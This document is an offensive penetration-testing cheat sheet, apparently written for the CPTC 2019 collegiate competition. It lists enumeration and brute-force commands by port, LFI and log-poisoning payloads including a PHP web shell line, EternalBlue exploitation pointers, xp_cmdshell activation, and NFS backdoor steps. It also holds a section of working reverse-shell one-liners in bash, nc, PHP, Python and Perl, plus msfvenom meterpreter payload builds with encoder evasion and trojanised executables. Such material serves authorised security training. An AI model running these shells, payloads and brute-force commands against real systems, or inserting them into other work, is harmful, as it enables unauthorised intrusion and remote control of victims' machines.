# Linux Cheat Sheet
# CPTC 2019

최승관
Choi “choi” Choi

# Table of Contents

**< Objectives, purposes, past data, quick tips has been redacted >**

Msf install =
https://computingforgeeks.com/how-to-install-metasploit-framework-on-ubuntu-18-04-debian-9/

# Network Service Enumeration

## Nmap

```
# Short pingsweep
nmap -sn --min-parallelism 100 --max-parallelism 256 -n <ip/CIDR> -oA
subnet_ping

# Short full-tcp scan of the target
nmap -p- --max-retries 1 -T4 -v -oA full_tcp $ip

# Detailed tcp scan with default scripts
nmap -sCV -T4 -v -p<port numbers from above> -oA targeted_tcp $ip

# Short udp scan of the target
nmap -sU --max-retries 2 -T4 -v -oA basic_udp $ip

# C-class subnet host discovery
nmap -sP -T4 -v -oA hosts 10.10.10.0/24
```

## 21 - FTP

**Common Misconfigurations:**
– Anonymous Login –> Leads to file/information disclosure
– Read/Write permission –> Leads to arbitrary file download/upload
– Chroot disabled –> Leads to directory traversal and enumeration of the entire system
– (Potential) File Execution –> While FTP only provides file download/upload feature, other network services might execute specific file that was uploaded by the tester

```
# Check for anonymous login
ftp $ip --> user: anonymous --> pass: any_password

# Is chroot enabled? Disabled?
```

```
<Try directory traversal, and see if the tester can access files outside
from the ftp root directory>

# Check for file read/write permission
- Try get/put files
- In what directories can we read/write files?
- Are these directories can be accessed through other services?
- ex) file upload to /var/www/html directory could be "executed" through an
apache web server

# Hydra Bruteforce (very noisy, not recommended)
hydra -L <user_file> -P <password_file> -vV $ip ftp -f
```

## 22 - SSH

```
# Hydra Bruteforce
hydra -L <user_file> -P <password_file> <ip/CIDR> ssh -vV

# Make sure to perform password spraying, not outright bruteforcing
hydra -l <username> -p <password> <ip/CIDR/> ssh -vV

# Acquire credential or ssh-private keys from other network services, and
then try to authentication into SSH.
ssh <user>@$ip
ssh -i <ssh_private_key> <user>@$ip
```

## 25 - SMTP

```
# SMTP Enumeration
nmap --script
smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720
,smtp-vuln-cve2011-1764 -p $port $ip

# Using SMTP
telnet $ip 25

# Username verification manually
VRFY <username>
```

```
# With the list of username enumeration, is it possible to conduct password spraying / bruteforce in another network services?
```

## 53 - DNS

```
# Find sub-domains using sublist3r
sublist3r -d <domain> -v -t 20

# Bruteforce sub-domain names using dnsrecon
dnsrecon -n <name_server> -d <domain> -D <dictionary_file> -t brt

# Zone-Transfer
# Note that zone-transfer will not always work
dnsrecon -d <domain> -t axfr

# Manually check for each servers. Might want to change localhost's DNS through /etc/resolv.conf before doing this
host -t ns/mx/soa/txt/axfr/cname <domain_name>
```

## Finger

```
# Username Validation
finger <username>@ip

# Username enumeration through bruteforce
http://pentestmonkey.net/tools/user-enumeration/finger-user-enum
perl finger-user-enum.pl -U <username_file> -t $ip
```

## 80,443,8080 - HTTP/HTTPS

```
# Happy Path Testing
< Actually visit the website! Look around, use it like a real user. >

# robots.txt
http(s)://$ip/robots.txt

# View source code, look for information, CMS name/version, comments,
hidden pages
< Ctrl+U or "View Source" for chrome, firefox >

# nikto
nikto -h $ip -o nikto_$port.txt

# Directory bruteforce
gobuster -u "http://$ip" -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
<php,asp,aspx,txt,html,js,cgi,bak>

gobuster -u "http://$ip" -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
<php,asp,aspx,txt,html,js,cgi,bak> -s '200,204,301,302,307,403,500' -e

# Directory bruteforce - Gobuster 3.0.1
gobuster dir -u "http://$ip" -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
<php,asp,aspx,txt,html,js,cgi>

# Searchsploit + Direct Exploitation
< Searchsploit for web server, web application, CMS >
< Beware for URL endpoint. The PoC exploit might have that endpoint, but
does the clients web server/application have that specific URL endpoint?
< Beware of the URL encoding. If direct commands are being sent across a
web server/application, make sure to think about URL encoding. >

# LFI Test
http://$ip/example.php?param=../../../../../../../etc/passwd%00

gobuster -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u
```

```
"http://$ip/SOMETHING.php?<param>="

php://filter/convert.base64-encode/resource=<php_file_or_normal_file>

# Log Poisoning - Use when LFI is possible + LFI can access web servers
access log or error log files.
# Beware of the file access permission.
nc -v $ip $port --> <?php echo shell_exec($_GET['cmd']);?>

# CGI files found, cgi-bin directory found. Potential shell shock?
https://raw.githubusercontent.com/mubix/shellshocker-pocs/master/shell_shoc
ker.py

# File Upload bypass
< If there is file upload feature, which kind of files can you upload?
Which server side programming is used? >
<
https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypa
ss.pdf >
< Common file upload bypasses --> Case sensitive files, Double extensions
(.jpg.php), Null Bytes (shell.php%00.jpg), Semi-Colon (shell.asp;jpg) >

# Command Injection
< Usage of ; && ||. Always beware of URL encoding when sending commands
through web server >

# Webdav
< Look for get/put/move >
cadaver $ip

# SQL Injection
https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html
https://web.archive.org/web/20180419112054
http://www.sqlinjection.net/union/

# HTTPS - Heartbleed
nmap --script ssl-heartbleed $ip -p $port
< Heartbleed will give information disclosure >
```

## 110 - POP3

```
telnet $ip $port
USER <user>
PASS <password>

LIST      // lists messages that the user has
RETR <message_number>    // Retrieves the message (email) the user has
```

## 139/445 - SMB

**Common Misconfiguration:**
– Allowing null session –> Leads to potential file/information disclosure
– Missing MS17-010 patch –> Leads to exploitation through EternalX exploits
– Wrong read/write permission –> Leads to potential file download/upload/execute, just like FTP

```
###### Windows #######

# Check if the target machine has port 139/445 open

# Basic SMB enumeration using NMAP scripts with debug every 10 seconds
nmap --script
smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-se
ssions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse
,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.n
se,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln
-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08
-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.ns
e -p139,445 -oA enum_smb -T4 -v $ip -d --stats-every 10s

# SMB Enumeration
enum4linux -a $ip
smbmap -H $ip
rpcclient -U "" $ip
  - srvinfo
  - enumdomusers
```

```
  - querydominfo
  - netshareenum
  - netshareenumall

# If there are shares accessible
# Null session
smbclient \\\\$ip\\<share_name> -N

# Authenticate with user
smbclient \\\\$ip\\<share_name> -U <username>
< provide password >


# Is the target machine using SMBv1?
nmap --script smb-protocols

# Is the target machine vulnerable to MS17-010?
nmap -p445 --script smb-vuln-ms17-010 $ip

# Does the target machine have IPC$ accessible?
< From nmap script >
Anonymous Access: READ
Current user (guest) Access: READ/WRITE

# Does it have a Named pipe accessible?
python checker.py $ip

# If Named Pipe is accessible --> EternalChampion/Romance
Use zzz_exploit.py from worawit's github

# Named pipe is NOT accessible. Only IPC is accessible --> EternalBlue
https://github.com/REPTILEHAUS/Eternal-Blue
< Try reverse shell, bind shell, changing ports >

######## Linux #########
# Basic enumeration on SAMBA
enum4linux -a $ip

# Checking SAMBA version number. (By: rewardone)
#!/bin/sh
#Author: rewardone
#Description:
```

```
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" &amp;amp;&amp;amp; exit;
else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null |
grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d
'\n' &amp;amp; echo -n "$rhost: " &amp;amp;
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" &amp;amp;&amp;amp; sleep .1
```

## 161 - SNMP

```
# Basic NMAP enumeration
nmap -sU --open -p 161 $ip -oG mega-snmp.txt

# SNMP check with community strings
snmp-check -w -c <public,private,manager> $ip

# onesixtyone
onesixtyone -c <community_strings_file> -i <hosts>

# snmpenum
snmpenum -t $ip

# snmpwalk
snmpwalk -c public -v1 $ip
```

## 1433 - MSSQL

```
# Enumeration using NMAP scripts
nmap -p $port --script ms-sql-info,ms-sql-config,ms-sql-tables $ip

# Could user credentials found in other services be used to login to MSSQL?
vim ~/.sqshrc
\set username=<mssql user>
\set password=<mssql password>
\set style=vert
< save and exit >

# Connecting to MSSQL with user credentials
sqsh -S <target_ip>:<port>

# (With user credential) Command exeuction using xp_cmdshell
exec sp_configure 'show advanced options', 1
go
reconfigure
go
exec sp_configure 'xp_cmdshell', 1
go
reconfigure
go
xp_cmdshell 'dir c:\''
go

</pre>
```

## 2049 - NFS Root Squashing

```
# Check RPCinfo to see if target machine has NFS
rpcinfo -p $ip

# Show mountable NFS of the target machine
showmount -e $ip

# Mount the target's NFS share to tester's local machine
```

```
mount -t nfs $ip:/<share> <attacker's_local_path> -o nolock
example) mount -t nfs 10.1.1.1:/shared /tmp/mount -o nolock

# From tester's machine, check for Root Squashing enable/disable
cat /etc/exports
< Look for RW, SUID, Root Squashing >

# If Root Squashing is disabled, create a backdoor
< Create backdoor; SUID binaries, reverse shell, bindshell, whatever >

# From the low privilege user on target machine, escalate privilege using
the backdoor

# More Information
https://haiderm.com/linux-privilege-escalation-using-weak-nfs-permissions/
```

## 3306 - MYSQL

```
# Nmap basic enumeration
nmap -sV -Pn -vv --script
mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-en
um,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-21
22  $ip -p $port

# Login to public facing mysql
mysql -h $ip -u <username> -p<password>

# If Webserver) Look for configuration files which contains database
conneciton credentails
< Read the web application / CMS documentation >

# Privilege Escalation) MySQL is running as root + Tester has credential
# MySQL UDF injection
< https://securitypentester.ninja/mysql-udf-injection >
```

## 5432 - PostgresSQL

```
psql -u <user> -h <ip> -p <port> [<db_name>]
```

## 9200,9300 - ElasticSearch

Common Misconfigurations:

- No Access roles or Authentication
- May give unauthenticated users read/write access to Elasticsearch (through Kibana, or through HTTP requests)
- HTTP-accesible API

app/kibana/console

```
GET _search
{
    "query": {
        "match_all": {}
    }
}
```

## 27017 - Mongodb

```
# Remote access using user and password
mongo -u <user> -p <password> <ip>/<db>

# Default mongo does not have authentication
mongo <ip>

show databases
use <database>
show collections
db.<collection>.find()
db.<collection>.find({<field>:<value>})

# Beware of no quotes for the fields nor value
ex) db.testo.find({ admin: 1 })
```

# Reverse Shells

**Bash:**
bash -i >& /dev/tcp/127.0.0.1/53 0>&1

**NC v2:**
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 53 >/tmp/f

**PHP:**
php -r '$sock=fsockopen("127.0.0.1",53);exec("/bin/sh -i <&3 >&3 2>&3");'

**Python:**
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1
27.0.0.1",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

**NC v1:**
nc -e /bin/sh 127.0.0.1 53

**Perl:**
perl -e 'use
Socket;$i="127.0.0.1";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(con
nect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDER
R,">&S");exec("/bin/sh -i");};'

**JSP - OS independent:**
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=53 -f raw > shell.jsp

**WAR - OS independent:**
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=53 -f war > shell.war

# MSFVenom Payloads

Reference: https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/

### Binaries

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe
> example.exe
msfvenom -p windows/meterpreter/reverse_http LHOST=<ip> LPORT=<port> -f exe
> example.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f
elf > example.elf
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho >
example.macho
msfvenom -p android/meterpreter/reverse/tcp LHOST=<ip> LPORT=<port> R >
example.apk
```

### Web Payloads

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw >
example.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp
> example.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw >
example.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war >
example.war
```

### Windows Payloads

```
msfvenom -l encoders
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST=<ip>
LPORT=<port> -f exe > example.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e
x86/shikata_ga_nai -b '\x00' -i 3 -f exe > example.exe
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST=<ip>
LPORT=<port> -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe > example.exe
```

# Full TTY

<victim_shell> python/3 -c 'import pty;pty.spawn("/bin/bash")' //// ctrl + z //// stty raw -echo //// fg //// reset
export TERM=xterm

# Privilege Escalation

## Big Picture Checklists

```
1. Sanity check - hostname, ip a, route, env, export, set

2. Happy path - Look around "/", "/home", "/tmp", “/var/www/html” etc -
Anything Unusual?
Mail? Bash_history?

3. Jail shell check + PATH check - env, export, echo $PATH

4. Sudo rights - sudo -l

5. Cronjobs

6. Unmounted filesystems - cat /etc/fstab // Mounted filesystems

7. Bad permission of sensitive files - /etc/passwd, shadow, config files
Check services and processes - ps faux - Anything running as root?

8. Interesting arguments? Custom software?
  - strings the software/script. What is it doing?
  - Can absolute/relative path be manipulated? Change the user's PATH, and
run malicious payload instead? :eyes:

9. Internal facing service - netstat -tulpn - Anything facing 127.0.0.1?
192.168.x.x?
  - SSH Remote port forwarding
    - <from victim> - ssh <attacker>@<attacker> -R <attackerport>:<victim
localhost>:<victim port to send over>
    - ex) <victim> ssh root@10.11.0.56 -R 9999:127.0.0.1:631  // Send
victim's localhost facing port 631 to attacker's port 9999

10. Custom installed programs. Oh what's that? Ossec? Wait searchsploit
ossec gives priv esc exploit? PogChamp

11. NFS Shares
```

```
12. Daemons, services, and Local Privilege Escalation exploits
```

# Random lists

**What is this server? What is this server used for?**

```
hostname
```

**What is this server connected with?**

```
ip a
netstat -tulpna
```

**Take a look around the root directory, home directory, /etc. Anything unusual?**

**Any SUID?**

```
find / -user root -perm -4000 2>/dev/null
```

**Whoami? Do I have sudo rights in any binaries?**

```
id
sudo -l
sudo -i
```

**Based on the sudo information, any GTFOBIN?**

```
find, nano, vim, man, awk, less, nmap, more, wget, apache2
```

**Any Internal facing services? Firewalled ports?**

**1. Is there any 127.0.0.1, 192.168.x.x, or any facing “unseen” ports?**

```
netstat -tulpn
```

**2. Remote port forwarding**

```
<From Victim> - ssh <attacker>@<attackerIP> -R <attacker_port>:<victim
localhost>:<victim port to send over>
```

```
<From Victim> ssh root@10.11.0.56 -R 9999:127.0.0.1:631  // Send victim's
```

```
localhost facing port 631 to attacker's port 9999
```

**3. Is there any 0.0.0.0 or <ip> Binded ports? Compare with initial nmap scan. Is there some ports that we didn't see? That might be firewalled off. Why? Is there something to hide? :eyes:**

```
netstat -tulpn
<local portforwarding>
Searchsploit <service>
Google <service> local privilege escalation
```

**Any cronjobs?**

```
cat /etc/crontab
crontab -u <user> -l
```

**Any custom service/binaries we can exploit?**

```
ps faux
```